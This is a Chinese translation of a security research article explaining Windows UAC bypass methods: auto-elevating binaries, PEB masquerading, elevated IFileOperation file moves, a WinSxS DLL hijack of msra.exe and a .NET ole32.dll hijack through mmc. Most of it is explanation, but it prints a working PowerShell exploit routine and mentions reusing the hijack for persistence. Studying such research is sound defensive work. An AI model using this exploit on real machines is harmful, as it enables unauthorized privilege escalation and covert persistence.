原文:fuzzysecurity

譯者:MottoIn

來源:http://www.mottoin.com/90755.html

0x00 前言

在這篇文章中,我們將討論UAC(用戶帳戶控制)繞過攻擊中涉及到的基本原則。UAC(User Account Control,用戶帳戶控制)是微軟為提高系統安全而在Windows Vista中引入的新技術,它要求用戶在執行可能會影響計算機運行的操作或執行更改影響其他用戶的設置的操作之前,提供權限或管理員?密碼。

UAC在Windows Vista中被引入,使管理員用戶能夠使用標準用戶權限而不是管理權限來對計算機進行操作。默認情況下,Windows上的初始用戶帳戶是管理員組的一部分,這只是一個簡單的要求。正是因為這樣,回到之前(Vista時代之前),開發人員傾向于用戶具有本地管理員權限,在開發他們的應用程序時需要提升權限。對此,官方的說法是UAC的引入是作為遏制這種行為并提供向后兼容性的方法。

盡管如此,UAC的直接好處是保護或提醒管理員用戶免受軟件組件執行的惡意提權行為。我認為UAC實際上是一個非常熟練的安全機制(如果我們忘記普遍存在的dll側面加載問題),任誰想爭辯說,這只需要看看一些先進的惡意軟件工具包或者如Metasploit/Cobalt Strike等開源框架,其中包括了繞過UAC的機制。此外,我們不要忘記微軟已經修補了一大堆繞過漏洞,例如使用WUSA提取CAB文件到一個特定的路徑。無法實現可信的側面加載修復,如果實現了將會大大提高終端用戶的安全。

無論如何,UAC總是引發激烈的辯論,所以我不會再談論這個問題。讓我們挖掘一下這個“兼容性”功能的漏洞

0x01 資源

0x02 自動提升

這里要理解的主要事情是,當進程正常啟動而不是提升特權時,管理用戶創建的進程令牌被剝奪了某些特權(例如:作為管理員運行..)。我們可以通過使用Get-TokenPrivsSysinternals過程資源管理器轉儲令牌權限來輕松地驗證這一點。下面的屏幕截圖顯示了“cmd.exe”的兩個實例,一個正常啟動,一個作為管理員啟動。

從本質上說是屬于管理員組的用戶以與其他用戶相同的權限管理其計算機。那么,高權限用戶和低權限用戶之間有什么區別?提權的操作仍然需要更改這個令牌,取決于UAC的設置,可以通知用戶/要求密碼。

但至關重要的是,在兩個UAC設置之間,其中之一是默認值,如果用戶屬于管理員組,Windows程序將自動升級。這些二進制文件可以通過轉儲其清單來標識,如下所示。

找到這些二進制文件的一個簡單方法是遞歸轉儲字符串并搜索“autoElevate> true”。這里的邏輯是這些二進制文件是由微軟簽署的,考慮到他們的出處,并且用戶是管理員,沒有必要提示這個行為(換句話說,它是一個可用性功能)。

這似乎是合理的,直到你打開進程監視器并找二進制文件成功地加載他們需要的資源(不僅是dll,還有注冊表項)。不幸的是,這為惡意用戶提供了充足的劫持機會。

下面的例子顯示了一個眾所周知的情況,其中MMC用于提升RSOPRSOP反過來試圖高完整性的加載“wbemcomn.dll”( =同樣的Administrator)。

可笑的是,看著過濾的輸出,在這里至少有三個其他的UAC 0days(..sign)。如果有人想給Bypass-UAC提交pull,請自己敲出來!

0x03 提權文件操作

你可能會想“這些dll都在一個安全的目錄”!像我們上面討論的二進制文件,也有自動提升COM對象。這些COM對象之一對我們特別有用,IFileOperation這個COM對象包含許多有用的方法,如文件系統對象(文件和文件夾)的復制/移動/重命名/刪除。

傳統上,攻擊者編寫的dll會實例化IFileOperation COM對象,并會執行將攻擊者文件移動到受保護目錄的方法(如上面例子的C:\Windows\System32\wbem\wbemcomn.dll)。獲得COM對象自動將DLL注入到一個運行在一個可信目錄的媒體完整性過程,通常是“explorer.exe”( -> fdwReason == DLL_PROCESS_ATTACH)。示例dll源碼

然而,事實證明有一種更靈活的方式來保持IFileOperation方法,將DLL注入到任何地方而不會觸發警報。COM對象依賴進程狀態API(PSAPI)來標識它們正在運行的進程。有趣的是,PSAPI解析進程PEB以獲取此信息,但攻擊者可以獲取其自己進程的句柄并覆蓋PEB以唬弄PSAPI,作為結果任何一個COM對象都可從偽造的PID實例化。

我寫了一個PowerShell POC(Masquerade-PEB)來說明這一點。在下面的示例中,PowerShell被偽裝為explorer,Sysinternals進程資源管理器顯然也被欺騙了。

0x04 案例研究:winsxs,UAC 0day

在下面的案例研究中,我們將看看Windows(WinSxS)dll加載問題。WinSxS在Windows ME中引入作為所謂的“dll hell”問題的解決方案。基本上它類似于全局程序集緩存,當一個二進制需要訪問一個特定的庫,它可以參考它清單中的庫的版本,操作系統將繼續從WinSxS文件夾(C:\Windows\WinSxS)加載相關的DLL。

對于我們的案例研究,我們將看看自動升級的Microsoft遠程協助二進制文件(C:\Windows\ System32\msra.exe)。下面我們可以看到二進制文件的內容。

注意依賴部分,mrsa需要一些 “Microsoft.Windows.Common-Controls” 版本的庫。讓我們看看執行msra時進程監視器中會發生什么。

msra尋找一個名為“msra.exe.Local”的目錄,當它找不到該文件夾時它會訪問“C:\Windows\WinSxS”,并加載它清單中指定的庫。開發人員進行調試時可以合法使用dotlocal文件夾。你可以猜測當我們創建以下目錄結構時會發生什么。

# We can do this using elevated IFileOperation COM object methods

C:\Windows\System32\
  |__> msra.exe.Local
  |___> x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.494_none_ea85e725b9ba5a4b

如此多的 facepalm ,在這一點上我們需要做的是使用IFileOperation COM對象創建有payload DLL的文件夾并在命令行中執行MSRA,以此來繞過UAC。這有點過分簡單,因為有效載荷dll可能會轉發一些dll出口,但你得有想法。

選擇WinSxS作為案例研究的原因是,當你開始看自動提升二進制文件時,你會逐字地看到這個問題。推薦閱讀KernelMode線程。

0x05 案例研究:通過.NET劫持Ole32.dll=> Bypass-UAC

因為這種類型UAC繞過的有很多活動部件(使用提升的COM),我創建了一個PowerShell框架來處理所有的累活。Bypass-UAC有幾個不同的組件:(1)Masquerade-PEB負責處理進程欺騙,(2) Invoke-IFileOperation暴露IFileOperation COM對象方法到PowerShell,(3)Emit-Yamabiko將payload dll存到磁盤。

在過去的案例研究,我找了一個相對簡單的UAC “0day”,我想找到一個不需要我更新Yamabiko的東西,這將工作在x32 / x64 Win7-Win10上。最后,我解決了.NET框架濫用負載的行為。有很多的方法來觸發錯誤的加載行為,但是我們將使用MMC繞過UAC(* .msc)。

Profiling MMC:

讓我們看看在啟動“mmc gpedit.msc”時過程監視器中發生了什么(過濾:命令行有“mmc”,名稱未找到,路徑有“dll”)。下面的截圖分別顯示了Win 7和Win 10的結果。

Win7

Win10

兩個操作系統版本有一些可怕的條目!然而,忽略oddballs和那些不重疊的條目,我們留下“MFC42LOC.DLL”和“ole32.dll”。MFC42LOC需要一些進一步的研究,我已經看過它幾次,但似乎沒有發揮好。另一方面,Ole32被證明是一個合適的選擇。

Hijacking Ole32:

我們需要解決的一個問題是,DLL顯然是從一個不同的目錄加載,一個簡短的調查顯示它默認的.NET版本文件夾查找ole32。我們可以使用以下PowerShell命令獲取該版本。

# Win 7
PS C:\> [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion
v2.0.50727

# Win 10
PS C:\> [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion
v4.0.30319

另一個不明顯的問題是,在Bypass-UAC中的Yamabiko代理dll打開PowerShell,PowerShell本身會引發這個錯誤加載bug從而導致無限shell彈出…,為了避免這種行為,我們必須檢測我們的payload dll被加載并刪除它,所以它只執行一次!

Bypass-UAC實現:

添加方法繞過UAC是很容易的,如果你想了解更多,請查看在GitHub上的項目!為了讓我們的bypass更加便利,我添加了以下方法,如果有任何問題,請隨時留言!

'UacMethodNetOle32'
{
# Hybrid MMC method: mmc some.msc -> Microsoft.NET\Framework[64]\..\ole32.dll
# Works on x64/x32 Win7-Win10 (unpatched)
if ($OSMajorMinor -lt 6.1) {
echo "[!] Your OS does not support this method!`n"
Return
}

# Impersonate explorer.exe
echo "`n[!] Impersonating explorer.exe!"
Masquerade-PEB -BinPath "C:\Windows\explorer.exe"

if ($DllPath) {
echo "[>] Using custom proxy dll.."
echo "[+] Dll path: $DllPath"
} else {
# Write Yamabiko.dll to disk
echo "[>] Dropping proxy dll.."
Emit-Yamabiko
}

# Get default .NET version
[String]$Net_Version = [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion

# Get count of PowerShell processes
$PS_InitCount = @(Get-Process -Name powershell).Count

# Expose IFileOperation COM object
Invoke-IFileOperation

# Exploit logic
echo "[>] Performing elevated IFileOperation::MoveItem operation.."
# x32/x64 .NET folder
if ($x64) {
$IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\Microsoft.NET\Framework64\' + $Net_Version + '\'), "ole32.dll")
} else {
$IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\Microsoft.NET\Framework\' + $Net_Version + '\'), "ole32.dll")
}
$IFileOperation.PerformOperations()

echo "`n[?] Executing mmc.."
IEX $($env:SystemRoot + '\System32\mmc.exe gpedit.msc')

# Move Yamabiko back to %tmp% after it loads to avoid infinite shells!
while ($true) {
$PS_Count = @(Get-Process -Name powershell).Count
if ($PS_Count -gt $PS_InitCount) {
try {
# x32/x64 .NET foler
if ($x64) {
$IFileOperation.MoveItem($($env:SystemRoot + '\Microsoft.NET\Framework64\' + $Net_Version + '\ole32.dll'), $($env:Temp + '\'), 'ole32.dll')
} else {
$IFileOperation.MoveItem($($env:SystemRoot + '\Microsoft.NET\Framework\' + $Net_Version + '\ole32.dll'), $($env:Temp + '\'), 'ole32.dll')
}
$IFileOperation.PerformOperations()
break
} catch {
# Sometimes IFileOperation throws an exception
# when executed twice in a row, just rerun..
}
}
}

# Clean-up
echo "[!] UAC artifact: $($env:Temp + '\ole32.dll')`n"
}

案例結束,下面的屏幕截圖演示了在Windows 8(x64)和Windows 10(x32)上的繞過。

Win8 x64

Win10 x32

從另一方面來說,這是一個相當不錯的持久化機制。刪除ole32在.NET框架文件夾中封裝的DLL,計劃使用.NET在啟動/空閑時運行任何事情。

0x06 總結

如果你做到這一步,我想你就能明白為什么微軟不承認UAC繞過。老實說我認為,讓UAC步入正軌的最好的方法是積極的補丁機制。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/127/